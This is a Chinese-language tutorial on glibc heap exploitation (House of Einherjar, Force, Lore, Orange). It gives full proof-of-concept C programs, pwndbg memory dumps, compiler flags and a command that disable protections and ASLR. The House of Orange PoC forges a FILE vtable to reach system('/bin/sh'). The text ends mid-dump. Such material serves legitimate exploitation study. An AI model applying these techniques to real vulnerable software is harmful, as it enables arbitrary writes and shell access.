House of 系列堆漏洞详解(一) 首发于先知社区
多Glibc版本调试方法 由于house of 技术中的一些漏洞只能在特定的低版本Glibc中触发,因此我这里基于pwntools写了一个脚本,可以使文中所示的程序在高版本系统下编译后,gdb调试时能强制加载特定版本的Glibc。
首先需要准备特定版本的Glibc,这里以libc-2.25.so.6为例
from pwn import *context.arch = 'amd64' pro = raw_input("py <Bin_Path>: " ) pro=pro.replace("\n" , "" ) io = process([pro],env={"LD_PRELOAD" :"./libc-2.25.so.6" }) gdb.attach(io,'set exec-wrapper env "LD_PRELOAD=./libc-2.25.so.6"' ) pause() io.interactive()
在弹出的gdb窗口 r 一下就可以运行了。
这里再提一下gcc编译,如果想要进行源码调试,需要加 -g 选项。-D GLIBC_VERSION=25 选项可设置动态链接的glibc版本为2.25。
为了方便我们之后的调试,需要在编译时关闭相关保护,选项如下
CANNARY gcc -fno-stack-protector -o test test.c //禁用栈保护 gcc -fstack-protector -o test test.c //启用堆栈保护,不过只为局部变量中含有 char 数组的函数插入保护代码 gcc -fstack-protector-all -o test test.c //启用堆栈保护,为所有函数插入保护代码
FORTIFY gcc -D_FORTIFY_SOURCE=1 仅仅只会在编译时进行检查 gcc -D_FORTIFY_SOURCE=2 程序执行时也会有检查(如果检查到缓冲区溢出,就终止程序)
NX gcc -o test test.c // 默认情况下,开启NX保护 gcc -z execstack -o test test.c // 禁用NX保护 gcc -z noexecstack -o test test.c // 开启NX保护
PIE gcc -o test test.c // 默认情况下,不开启PIE gcc -fpie -pie -o test test.c // 开启PIE,此时强度为1 gcc -fPIE -pie -o test test.c // 开启PIE,此时为最高强度2 gcc -fpic -o test test.c // 开启PIC,此时强度为1,不会开启PIE gcc -fPIC -o test test.c // 开启PIC,此时为最高强度2,不会开启PIE
系统中关闭PIE选项使用sudo -s echo 0 > /proc/sys/kernel/randomize_va_space
但可能会报错 -bash: /proc/sys/kernel/randomize_va_space: 权限不够
这可能是因为sudo命令不支持重定向
使用sudo bash -c "echo 0 > /proc/sys/kernel/randomize_va_space"
即可
RELRO gcc -o test test.c // 默认情况下,是Partial RELRO gcc -z norelro -o test test.c // 关闭,即No RELRO gcc -z lazy -o test test.c // 部分开启,即Partial RELRO gcc -z now -o test test.c // 全部开启,即
House of Einherjar 原理 House of Einherjar依靠Off-by-one将下一个chunk的 pre_inuse标志位置零,将 p1 的 prev_size 字段设置为我们想要的目的 chunk 位置与 p1 的差值 ,在free下一个chunk时,让free函数以为上一个chunk已经被free,当free最后一个chunk时,会将伪造的chunk和当前chunk和top chunk进行unlink操作,合并成一个top chunk,从而达到将top chunk设置为我们伪造chunk的地址。
Poc #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #define CHUNKSIZE 0x100 #define FIRST_CHUNKSIZE 0x20 #define SECOND_CHUNKSIZE CHUNKSIZE #define THIRD_CHUNKSIZE 0x0 #define INTERNAL_SIZE_T size_t #define SIZE_SZ sizeof(INTERNAL_SIZE_T) struct malloc_chunk { INTERNAL_SIZE_T prev_size; INTERNAL_SIZE_T size ; struct malloc_chunk * fd ; struct malloc_chunk * bk ; struct malloc_chunk * fd_nextsize ; struct malloc_chunk * bk_nextsize ; }; int main () { setbuf(stdin , NULL ); setbuf(stdout , NULL ); setbuf(stderr , NULL ); char *p0 = malloc (FIRST_CHUNKSIZE - SIZE_SZ); char *p1 = malloc (SECOND_CHUNKSIZE - SIZE_SZ); char *p2 = malloc (THIRD_CHUNKSIZE); printf ("House of Einherjar Poc\n\n" ); printf ("堆中共申请三个chunk\n第一个chunk只需要对齐且未分配\n第二个chunk大小必须在smallbin & largebin范围内\n最后一个chunk可以为任意大小,只需要保证不调用malloc_consolidate()\n" ); printf ("\tp0 = %p\n\tp1 = %p\n\tp2 = %p\n" , p0, p1, p2); printf ("\n----------------\n" ); printf ("在栈中伪造一个fakechunk\n" ); struct malloc_chunk fakechunk ; fakechunk.size = 0 ; fakechunk.fd = &fakechunk; fakechunk.bk = &fakechunk; printf ("当前 fakechunk: \n" ); printf ("\t&fakechunk: %p\n" , &fakechunk); printf ("\t\t.size: 0x%zx\n\t\t.fd: %p\n\t\t.bk: %p\n" , fakechunk.size , fakechunk.fd, fakechunk.bk); printf ("假设p0对p1存在Off-by-one \n因此p1->size的最低位将被修改为NULL \np1->prev_size同样受到影响\n\n" ); off_t diff = (off_t )&fakechunk-(off_t )(struct malloc_chunk *)(p1-SIZE_SZ*2 ); *((INTERNAL_SIZE_T *)&p0[FIRST_CHUNKSIZE-SIZE_SZ*2 ]) = -diff; p0[FIRST_CHUNKSIZE - SIZE_SZ] = '\0' ; printf ("** 溢出触发 **\n" ); printf ("通过free(p1)触发合并\n" ); free (p1); printf ("\n----------------\n" ); printf ("当前 fakechunk: \n" ); printf ("\t&fakechunk: %p\n" , &fakechunk); printf ("\t\t.size: 0x%zx\n\t\t.fd: %p\n\t\t.bk: %p\n" , fakechunk.size , fakechunk.fd, fakechunk.bk); printf ("\n控制fakechunk->size为合适的值 \n" ); fakechunk.size = CHUNKSIZE; printf ("当前 fakechunk: \n" ); printf ("\t&fakechunk: %p\n" , &fakechunk); printf ("\t\t.size: 0x%zx\n\t\t.fd: %p\n\t\t.bk: %p\n" , fakechunk.size , fakechunk.fd, fakechunk.bk); printf ("\n----------------\n" ); printf ("malloc(0x%zx) // fakechunk+SIZE_SZ.\n" , CHUNKSIZE - SIZE_SZ); char *where_you_want = malloc (CHUNKSIZE - SIZE_SZ); printf ("\t目标地址 = %p\n" , where_you_want); return 0 ; }
分步分析 1 申请三个chunk char *p0 = malloc (FIRST_CHUNKSIZE - SIZE_SZ);char *p1 = malloc (SECOND_CHUNKSIZE - SIZE_SZ);char *p2 = malloc (THIRD_CHUNKSIZE);
pwndbg> heap 0x555555559000 PREV_INUSE { prev_size = 0, size = 657, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x555555559290 FASTBIN { # p0 prev_size = 0, size = 33, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x101 # off-by-one位置 } 0x5555555592b0 PREV_INUSE { # p1 prev_size = 0, size = 257, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x5555555593b0 FASTBIN { # p2 prev_size = 0, size = 33, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x20c31 } 0x5555555593d0 PREV_INUSE { prev_size = 0, size = 134193, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 }
pwndbg> x/50xg 0x555555559290 0x555555559290: 0x0000000000000000 0x0000000000000021 <== p0 0x5555555592a0: 0x0000000000000000 0x0000000000000000 0x5555555592b0: 0x0000000000000000 0x0000000000000101 <== p1 0x5555555592c0: 0x0000000000000000 0x0000000000000000 0x5555555592d0: 0x0000000000000000 0x0000000000000000 ... 0x555555559390: 0x0000000000000000 0x0000000000000000 0x5555555593a0: 0x0000000000000000 0x0000000000000000 0x5555555593b0: 0x0000000000000000 0x0000000000000021 <== p2 0x5555555593c0: 0x0000000000000000 0x0000000000000000 0x5555555593d0: 0x0000000000000000 0x0000000000020c31 <== top chunk 0x5555555593e0: 0x0000000000000000 0x0000000000000000
2 off-by-one off_t diff = (off_t )&fakechunk-(off_t )(struct malloc_chunk *)(p1-SIZE_SZ*2 );*((INTERNAL_SIZE_T *)&p0[FIRST_CHUNKSIZE-SIZE_SZ*2 ]) = -diff; p0[FIRST_CHUNKSIZE - SIZE_SZ] = '\0' ;
0x555555559290 FASTBIN { prev_size = 0, size = 33, fd = 0x0, bk = 0x0, fd_nextsize = 0xffffd5555555b750, <== 偏移量 bk_nextsize = 0x100 }
pwndbg> x/50xg 0x555555559290 0x555555559290: 0x0000000000000000 0x0000000000000021 0x5555555592a0: 0x0000000000000000 0x0000000000000000 0x5555555592b0: 0xffffd5555555b750 0x0000000000000100 <==覆盖inuse 0x5555555592c0: 0x0000000000000000 0x0000000000000000 ... 0x555555559390: 0x0000000000000000 0x0000000000000000 0x5555555593a0: 0x0000000000000000 0x0000000000000000 0x5555555593b0: 0x0000000000000000 0x0000000000000021 0x5555555593c0: 0x0000000000000000 0x0000000000000000 0x5555555593d0: 0x0000000000000000 0x0000000000020c31 0x5555555593e0: 0x0000000000000000 0x0000000000000000
3 free p1 p1 free前与free后比较
0x5555555592b0 { prev_size = 18446697161213458256, size = 256, fd = 0x0, bk = 0x0, <------------------ fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x5555555592b0 { prev_size = 18446697161213458256, size = 256, fd = 0x0, bk = 0x555555559010, <------------------ fd_nextsize = 0x0, bk_nextsize = 0x0 }
4 malloc pwndbg> 目标地址 = 0x7fffffffdb50
通过计算,重新申请到新的位置
Glibc 2.27 在2.27版本中malloc.c对prev_size 的检查如下
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0 ))\ malloc_printerr ("corrupted size vs. prev_size" ); \
只需要再伪造 fake chunk 的 next chunk 的 prev_size 字段就可以了 。
fake_chunk2 = (struct malloc_chunk *)p0 + 1 ; fake_chunk2->prev_size = sizeof (struct malloc_chunk);
利用思路 通过house_of_einherjar,我们可以控制top chunk,再次malloc后,我们可以控制程序相应位置,按照程序功能,可能会达到任意地址读写,然后就可以通过一般手段getshell。
House of force 原理 假设top chunk的header可被溢出覆盖,可以将size修改为一个大数,使得所有初始化都通过top chunk而不是mmap,再malloc就可以使接下来的任何操作都调用指定地址,这里相当于一次任意地址写。
利用条件:
1.用户能够以溢出等方式控制到top chunk的size域
2.用户能够自由的控制堆分配尺寸的大小
Poc #include <stdio.h> #include <stdint.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <malloc.h> char bss_var[] = "这里是将要被覆写的字符串." ;int main (int argc , char * argv[]) { fprintf (stderr , "\nHouse of Force Poc\n\n" ); fprintf (stderr , "\n我们将通过此漏洞覆写地址 %p 的值.\n" , bss_var); fprintf (stderr , "当前值为: %s\n" , bss_var); fprintf (stderr , "\n申请第一个chunk.\n" ); intptr_t *p1 = malloc (256 ); fprintf (stderr , "大小为256 bytes 的chunk 在 %p 被申请.\n" , p1 - 2 ); int real_size = malloc_usable_size(p1); fprintf (stderr , "分配的块的实际大小是 %ld.\n" , real_size + sizeof (long )*2 ); fprintf (stderr , "\n假设存在一个可溢出到 top chunk 的漏洞\n" ); intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size - sizeof (long )); fprintf (stderr , "\ntop chunk 起始地址是 %p\n" , ptr_top); fprintf (stderr , "\n用一个极大值覆写top chunk的size使得malloc不会调用mmap\n" ); fprintf (stderr , "top chunk的旧size %#llx\n" , *((unsigned long long int *)((char *)ptr_top + sizeof (long )))); *(intptr_t *)((char *)ptr_top + sizeof (long )) = -1 ; fprintf (stderr , "top chunk的新size %#llx\n" , *((unsigned long long int *)((char *)ptr_top + sizeof (long )))); fprintf (stderr , "\n接下来申请一个chunk,通过整数溢出指向该chunk" ); unsigned long evil_size = (unsigned long )bss_var - sizeof (long )*4 - (unsigned long )ptr_top; fprintf (stderr , "\n我们想要写的值位于 %p, top chunk 位于 %p, 通过计算头部size,\n" "我们应该 malloc %#lx bytes.\n" , bss_var, ptr_top, evil_size); void *new_ptr = malloc (evil_size); fprintf (stderr , "新指针和旧top chunk一样指向: %p\n" , new_ptr - sizeof (long )*2 ); void * ctr_chunk = malloc (100 ); fprintf (stderr , "\n下一个chunk将指向目标buffer.\n" ); fprintf (stderr , "malloc(100) => %p!\n" , ctr_chunk); fprintf (stderr , "现在我们可覆写该字符串:\n" ); fprintf (stderr , "... old string: %s\n" , bss_var); fprintf (stderr , "... 使用 strcpy 覆写 \"YEAH!!!\"...\n" ); strcpy (ctr_chunk, "YEAH!!!" ); fprintf (stderr , "... new string: %s\n" , bss_var); }
分步分析 1 申请一个chunk intptr_t *p1 = malloc (256 );
pwndbg> heap 0x555555559000 PREV_INUSE { mchunk_prev_size = 0, mchunk_size = 657, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x555555559290 PREV_INUSE { mchunk_prev_size = 0, mchunk_size = 273, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x5555555593a0 PREV_INUSE { mchunk_prev_size = 0, mchunk_size = 134241, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 }
pwndbg> x/40xg 0x555555559290 0x555555559290: 0x0000000000000000 0x0000000000000111 0x5555555592a0: 0x0000000000000000 0x0000000000000000 0x5555555592b0: 0x0000000000000000 0x0000000000000000 ... 0x555555559390: 0x0000000000000000 0x0000000000000000 0x5555555593a0: 0x0000000000000000 0x0000000000020c61 <==== top chunk
2 溢出修改top chunk size *(intptr_t *)((char *)ptr_top + sizeof (long )) = -1 ;
pwndbg> x/40xg 0x555555559290 0x555555559290: 0x0000000000000000 0x0000000000000111 0x5555555592a0: 0x0000000000000000 0x0000000000000000 0x5555555592b0: 0x0000000000000000 0x0000000000000000 ... 0x555555559390: 0x0000000000000000 0x0000000000000000 0x5555555593a0: 0x0000000000000000 0xffffffffffffffff <==== 修改top chunk size为极大值 0x5555555593b0: 0x0000000000000000 0x0000000000000000
抬高malloc到目标buffer unsigned long evil_size = (unsigned long )bss_var - sizeof (long )*4 - (unsigned long )ptr_top;void *new_ptr = malloc (evil_size);
malloc 0xffffffffffffeef0 bytes.
malloc并strcpy覆写 void * ctr_chunk = malloc (100 );strcpy (ctr_chunk, "YEAH!!!" );
... old string: 这里是将要被覆写的字符串. ... 使用 strcpy 覆写 "YEAH!!!"... ... new string: YEAH!!!
Glibc 2.27 目前在glibc2.27上仍然可以利用,而2.29版本则已有缓解措施
if (__glibc_unlikely (size > av->system_mem)) malloc_printerr ("malloc(): corrupted top size" );
House of lore 原理 创建两个chunk,第一个用于进入smallbin中,第二个用来防止free后被top chunk合并,free第一块,将其送入unsortedbin链表,再次申请一个size位于largebin中,并且在unsortedbin中没有与其匹配的chunk,系统接下来会把unsortedbin中的chunk加入到smallbin中。假设可以控制 第一个chunk的fd、bk指针,我们就可以在栈上伪造出一个smallbin的链表,再次malloc时,就可以从smallbin的链表末尾取chunk了。这样就可以在栈上创造chunk。
Poc #include <unistd.h> #include <stdlib.h> #include <string.h> #include <stdio.h> struct small_chunk { size_t prev_size; size_t size ; struct small_chunk *fd ; struct small_chunk *bk ; char buf[0x64 ]; }; int main () { struct small_chunk fake_chunk , another_fake_chunk ; struct small_chunk *real_chunk ; unsigned long long *ptr, *victim; int len; printf ("House of lore Poc\n\n" ); printf ("fake_chunk地址: %p\n\n" , &fake_chunk); len = sizeof (struct small_chunk); printf ("申请两个small chunk,释放第一个,该块会并入unsorted bin\n" ); ptr = malloc (len); printf ("第一块small chunk地址: %p\n\n" , ptr); printf ("第二块大小可以为任意值,只是为了防止第一块free后与top chunk合并\n" ); printf ("第二块small chunk地址: %p\n\n" , malloc (len)); free (ptr); real_chunk = (struct small_chunk *)(ptr - 2 ); printf ("第一块目前的地址: %p\n\n" , real_chunk); printf ("再申请一个chunk,size大于之前chunk以防被分配到同一个位置\n" ); printf ("之前free的chunk现在进入small bin\n" ); printf ("第三块small chunk地址: %p\n\n" , malloc (len + 0x10 )); printf ("使第一块small chunk的bk指针指向&fake_chunk,fake chunk将被插入smallbin\n" ); real_chunk->bk = &fake_chunk; printf ("使fake_chunk的fd指针指向第一块small chunk\n" ); fake_chunk.fd = real_chunk; printf ("绕过 \'victim->bk->fd == victim\' 检测\n" ); fake_chunk.bk = &another_fake_chunk; another_fake_chunk.fd = &fake_chunk; printf ("重新申请第一块,地址为: %p\n" , malloc (len)); victim = malloc (len); printf ("再次申请得到fake_chunk,地址为 %p\n" , victim); return 0 ; }
分步分析 1 申请两个small chunk ptr = malloc (len); printf ("第一块small chunk地址: %p\n\n" , ptr);printf ("第二块大小可以为任意值,只是为了防止第一块free后与top chunk合并\n" );printf ("第二块small chunk地址: %p\n\n" , malloc (len));
pwndbg> x/40xg 0x555555559420 -0x20 0x555555559400: 0x0000000000000000 0x0000000000000000 0x555555559410: 0x0000000000000000 0x0000000000000091 <=== chunk1 0x555555559420: 0x0000000000000000 0x0000000000000000 0x555555559430: 0x0000000000000000 0x0000000000000000 0x555555559440: 0x0000000000000000 0x0000000000000000 0x555555559450: 0x0000000000000000 0x0000000000000000 0x555555559460: 0x0000000000000000 0x0000000000000000 0x555555559470: 0x0000000000000000 0x0000000000000000 0x555555559480: 0x0000000000000000 0x0000000000000000 0x555555559490: 0x0000000000000000 0x0000000000000000 0x5555555594a0: 0x0000000000000000 0x0000000000000091 <=== chunk2 0x5555555594b0: 0x0000000000000000 0x0000000000000000 0x5555555594c0: 0x0000000000000000 0x0000000000000000 0x5555555594d0: 0x0000000000000000 0x0000000000000000 0x5555555594e0: 0x0000000000000000 0x0000000000000000 0x5555555594f0: 0x0000000000000000 0x0000000000000000 0x555555559500: 0x0000000000000000 0x0000000000000000 0x555555559510: 0x0000000000000000 0x0000000000000000 0x555555559520: 0x0000000000000000 0x0000000000000000 0x555555559530: 0x0000000000000000 0x0000000000020ad1 <=== top chunk
2 释放chunk1
pwndbg> x/40xg 0x555555559420 -0x20 0x555555559400: 0x0000000000000000 0x0000000000000000 0x555555559410: 0x0000000000000000 0x0000000000000091 0x555555559420: 0x00007ffff7fc4b38 0x00007ffff7fc4b38 <=== 加入unsorted bin 0x555555559430: 0x0000000000000000 0x0000000000000000 0x555555559440: 0x0000000000000000 0x0000000000000000 0x555555559450: 0x0000000000000000 0x0000000000000000 0x555555559460: 0x0000000000000000 0x0000000000000000 0x555555559470: 0x0000000000000000 0x0000000000000000 0x555555559480: 0x0000000000000000 0x0000000000000000 0x555555559490: 0x0000000000000000 0x0000000000000000 0x5555555594a0: 0x0000000000000090 0x0000000000000090 0x5555555594b0: 0x0000000000000000 0x0000000000000000 ... 0x555555559520: 0x0000000000000000 0x0000000000000000 0x555555559530: 0x0000000000000000 0x0000000000020ad1 =================>| | pwndbg> x/20xg 0x00007ffff7fc4b38 | 0x7ffff7fc4b38 <main_arena+88>: 0x0000555555559530 0x0000000000000000 <=| 0x7ffff7fc4b48 <main_arena+104>: 0x0000555555559410 0x0000555555559410 <=== chunk1 0x7ffff7fc4b58 <main_arena+120>: 0x00007ffff7fc4b48 0x00007ffff7fc4b48 0x7ffff7fc4b68 <main_arena+136>: 0x00007ffff7fc4b58 0x00007ffff7fc4b58 0x7ffff7fc4b78 <main_arena+152>: 0x00007ffff7fc4b68 0x00007ffff7fc4b68 0x7ffff7fc4b88 <main_arena+168>: 0x00007ffff7fc4b78 0x00007ffff7fc4b78 0x7ffff7fc4b98 <main_arena+184>: 0x00007ffff7fc4b88 0x00007ffff7fc4b88 0x7ffff7fc4ba8 <main_arena+200>: 0x00007ffff7fc4b98 0x00007ffff7fc4b98 0x7ffff7fc4bb8 <main_arena+216>: 0x00007ffff7fc4ba8 0x00007ffff7fc4ba8 0x7ffff7fc4bc8 <main_arena+232>: 0x00007ffff7fc4bb8 0x00007ffff7fc4bb8
3 申请chunk3 printf ("第三块small chunk地址: %p\n\n" , malloc (len + 0x10 ));
pwndbg> x/40xg 0x555555559420 -0x20 0x555555559400: 0x0000000000000000 0x0000000000000000 0x555555559410: 0x0000000000000000 0x0000000000000091 0x555555559420: 0x00007ffff7fc4bb8 0x00007ffff7fc4bb8 <=== chunk1加入small bin 0x555555559430: 0x0000000000000000 0x0000000000000000 ... 0x555555559490: 0x0000000000000000 0x0000000000000000 0x5555555594a0: 0x0000000000000090 0x0000000000000090 0x5555555594b0: 0x0000000000000000 0x0000000000000000 ... 0x555555559530: 0x0000000000000000 0x00000000000000a1 pwndbg> x/20xg 0x00007ffff7fc4bb8 0x7ffff7fc4bb8 <main_arena+216>: 0x00007ffff7fc4ba8 0x00007ffff7fc4ba8 0x7ffff7fc4bc8 <main_arena+232>: 0x0000555555559410 0x0000555555559410 <=== chunk1 0x7ffff7fc4bd8 <main_arena+248>: 0x00007ffff7fc4bc8 0x00007ffff7fc4bc8 0x7ffff7fc4be8 <main_arena+264>: 0x00007ffff7fc4bd8 0x00007ffff7fc4bd8 0x7ffff7fc4bf8 <main_arena+280>: 0x00007ffff7fc4be8 0x00007ffff7fc4be8 0x7ffff7fc4c08 <main_arena+296>: 0x00007ffff7fc4bf8 0x00007ffff7fc4bf8 0x7ffff7fc4c18 <main_arena+312>: 0x00007ffff7fc4c08 0x00007ffff7fc4c08 0x7ffff7fc4c28 <main_arena+328>: 0x00007ffff7fc4c18 0x00007ffff7fc4c18 0x7ffff7fc4c38 <main_arena+344>: 0x00007ffff7fc4c28 0x00007ffff7fc4c28 0x7ffff7fc4c48 <main_arena+360>: 0x00007ffff7fc4c38 0x00007ffff7fc4c38
4 修改bk fd指针,绕过检测 printf ("使第一块small chunk的bk指针指向&fake_chunk,fake chunk将被插入smallbin\n" );real_chunk->bk = &fake_chunk; printf ("使fake_chunk的fd指针指向第一块small chunk\n" );fake_chunk.fd = real_chunk; printf ("绕过 \'victim->bk->fd == victim\' 检测\n" );fake_chunk.bk = &another_fake_chunk; another_fake_chunk.fd = &fake_chunk;
pwndbg> x/40xg 0x555555559420 -0x20 0x555555559400: 0x0000000000000000 0x0000000000000000 0x555555559410: 0x0000000000000000 0x0000000000000091 0x555555559420: 0x00007ffff7fc4bb8 0x00007fffffffda70 <=== fd->smallbin bk->&fake_chunk 0x555555559430: 0x0000000000000000 0x0000000000000000 ... 0x555555559490: 0x0000000000000000 0x0000000000000000 0x5555555594a0: 0x0000000000000090 0x0000000000000090 0x5555555594b0: 0x0000000000000000 0x0000000000000000 ... 0x555555559520: 0x0000000000000000 0x0000000000000000 0x555555559530: 0x0000000000000000 0x00000000000000a1 pwndbg> x/20xg 0x00007fffffffda70 0x7fffffffda70: 0x0000038000000380 0x0000038000000380 <=== fake_chunk 0x7fffffffda80: 0x0000555555559410 0x00007fffffffdb00 <=== fd->chunk1 bk->&another_fake_chunk 0x7fffffffda90: 0x0000038000000380 0x0000038000000380 0x7fffffffdaa0: 0x0000038000000380 0x0000038000000380 0x7fffffffdab0: 0x0000038000000380 0x0000038000000380 0x7fffffffdac0: 0x0000000000000000 0x0000004000000100 0x7fffffffdad0: 0x0000000000000000 0x0000000000000000 0x7fffffffdae0: 0x0000000000000000 0x0000000000000000 0x7fffffffdaf0: 0x0000000000000000 0x0000000000000000 0x7fffffffdb00: 0x0000000000000000 0x0000000000000000
5 malloc两次,成功将fake_chunk加入 printf ("重新申请第一块,地址为: %p\n" , malloc (len));victim = malloc (len);
利用思路 通过house of lore,我们达到了任意地址分配内存的效果,就可以向chunk中写入数据来覆盖返回地址控制eip,甚至绕过 canary检查。
House of Orange 原理 假设存在堆溢出可覆盖到 top chunk,设置top chunk+size页面对齐,设置prev_inuse位,然后申请一块比top chunk size大的块,使top chunk扩展。控制io_list_all,当malloc分割时,chunk->bk->fd的值会被libc的main_arena中的unsorted bin列表的地址覆盖。修改fd满足相应条件,设置跳板指针指向可控内存,malloc触发利用链。
Poc #include <stdio.h> #include <stdlib.h> #include <string.h> int winner ( char *ptr) ;int main () { fprintf (stderr ,"House of orange Poc\n\n" ); char *p1, *p2; size_t io_list_all, *top; p1 = malloc (0x400 -16 ); fprintf (stderr ,"首先申请一个chunk: p1 %p \n" ,p1); fprintf (stderr ,"设置top chunk+size页面对齐,设置prev_inuse位\n\n" ); top = (size_t *) ( (char *) p1 + 0x400 - 16 ); top[1 ] = 0xc01 ; fprintf (stderr ,"申请一个size大于top chunk的块,使其调用sysmalloc和_init_free\n\n" ); p2 = malloc (0x1000 ); fprintf (stderr ,"p2 %p \n" , p2); fprintf (stderr ,"chunk->bk->fd覆盖_IO_list_all指针\n\n" ); io_list_all = top[2 ] + 0x9a8 ; fprintf (stderr ,"io_list_all现在指向chunk->bk->fd %p \n" , &io_list_all); fprintf (stderr ,"当malloc分割时,chunk->bk->fd的值会被libc的main_arena中的unsorted bin列表的地址覆盖。\n\n" ); fprintf (stderr ,"设置chunk->bk为_IO_list_all - 16\n" ); top[3 ] = io_list_all - 0x10 ; fprintf (stderr ,"system将通过top指针被调用,使用用/bin/sh填充前8个字节,相当于system(/bin/sh)\n" ); memcpy ( ( char *) top, "/bin/sh\x00" , 8 ); fprintf (stderr ,"将top chunk的size改小,使旧的top chunk被malloc分配到small bin[4],指向伪文件指针的fd-ptr\n\n" ); top[1 ] = 0x61 ; fprintf (stderr ,"满足条件 fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base\n" ); _IO_FILE *fp = (_IO_FILE *) top; fprintf (stderr ,"满足 fp->_mode <= 0\n" ); fp->_mode = 0 ; fprintf (stderr ,"满足 fp->_IO_write_ptr > fp->_IO_write_base\n" ); fp->_IO_write_base = (char *) 2 ; fp->_IO_write_ptr = (char *) 3 ; fprintf (stderr ,"设置跳板指向可控内存\n\n" ); size_t *jump_table = &top[12 ]; jump_table[3 ] = (size_t ) &winner; *(size_t *) ((size_t ) fp + sizeof (_IO_FILE)) = (size_t ) jump_table; fprintf (stderr ,"malloc触发利用链\n" ); malloc (10 ); return 0 ; } int winner (char *ptr) { system(ptr); return 0 ; }
分步分析 1 申请chunk1,修改top chunk p1 = malloc (0x400 -16 ); fprintf (stderr ,"设置top chunk+size页面对齐,设置prev_inuse位\n\n" );top = (size_t *) ( (char *) p1 + 0x400 - 16 ); top[1 ] = 0xc01 ;
pwndbg> heap 0x603000 PREV_INUSE { prev_size = 0, size = 1025, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x603400 PREV_INUSE { <====== chunk1 prev_size = 0, size = 3073, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x604000 { <====== top chunk prev_size = 0, size = 0, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } pwndbg> x/40xg 0x603400-0x400 0x603000: 0x0000000000000000 0x0000000000000401 <===== chunk1 0x603010: 0x0000000000000000 0x0000000000000000 0x603020: 0x0000000000000000 0x0000000000000000 ... 0x6033f0: 0x0000000000000000 0x0000000000000000 0x603400: 0x0000000000000000 0x0000000000000c01 <===== top chunk 0x603410: 0x0000000000000000 0x0000000000000000
2 申请一个size大于top chunk的块
malloc p2前 pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x400000 0x401000 r-xp 1000 0 /home/kabeo/Desktop/how2heap/glibc_2.25/house_of_orange1 0x601000 0x602000 r--p 1000 1000 /home/kabeo/Desktop/how2heap/glibc_2.25/house_of_orange1 0x602000 0x603000 rw-p 1000 2000 /home/kabeo/Desktop/how2heap/glibc_2.25/house_of_orange1 0x603000 0x624000 rw-p 21000 0 [heap] <========= 0x603000-0x624000 0x7ffff7a0d000 0x7ffff7bcd000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7bcd000 0x7ffff7dcd000 ---p 200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7dcd000 0x7ffff7dd1000 r--p 4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7dd1000 0x7ffff7dd3000 rw-p 2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7dd3000 0x7ffff7dd7000 rw-p 4000 0 0x7ffff7dd7000 0x7ffff7dfd000 r-xp 26000 0 /lib/x86_64-linux-gnu/ld-2.23.so 0x7ffff7fdd000 0x7ffff7fe0000 rw-p 3000 0 0x7ffff7ff7000 0x7ffff7ffa000 r--p 3000 0 [vvar] 0x7ffff7ffa000 0x7ffff7ffc000 r-xp 2000 0 [vdso] 0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 25000 /lib/x86_64-linux-gnu/ld-2.23.so 0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 26000 /lib/x86_64-linux-gnu/ld-2.23.so 0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0 0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack] 0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall] malloc p2后 pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x400000 0x401000 r-xp 1000 0 /home/kabeo/Desktop/how2heap/glibc_2.25/house_of_orange1 0x601000 0x602000 r--p 1000 1000 /home/kabeo/Desktop/how2heap/glibc_2.25/house_of_orange1 0x602000 0x603000 rw-p 1000 2000 /home/kabeo/Desktop/how2heap/glibc_2.25/house_of_orange1 0x603000 0x646000 rw-p 43000 0 [heap] <========= 0x603000-0x646000 0x7ffff7a0d000 0x7ffff7bcd000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7bcd000 0x7ffff7dcd000 ---p 200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7dcd000 0x7ffff7dd1000 r--p 4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7dd1000 0x7ffff7dd3000 rw-p 2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7dd3000 0x7ffff7dd7000 rw-p 4000 0 0x7ffff7dd7000 0x7ffff7dfd000 r-xp 26000 0 /lib/x86_64-linux-gnu/ld-2.23.so 0x7ffff7fdd000 0x7ffff7fe0000 rw-p 3000 0 0x7ffff7ff7000 0x7ffff7ffa000 r--p 3000 0 [vvar] 0x7ffff7ffa000 0x7ffff7ffc000 r-xp 2000 0 [vdso] 0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 25000 /lib/x86_64-linux-gnu/ld-2.23.so 0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 26000 /lib/x86_64-linux-gnu/ld-2.23.so 0x7ffff7ffe000 0x7ffff7fff000 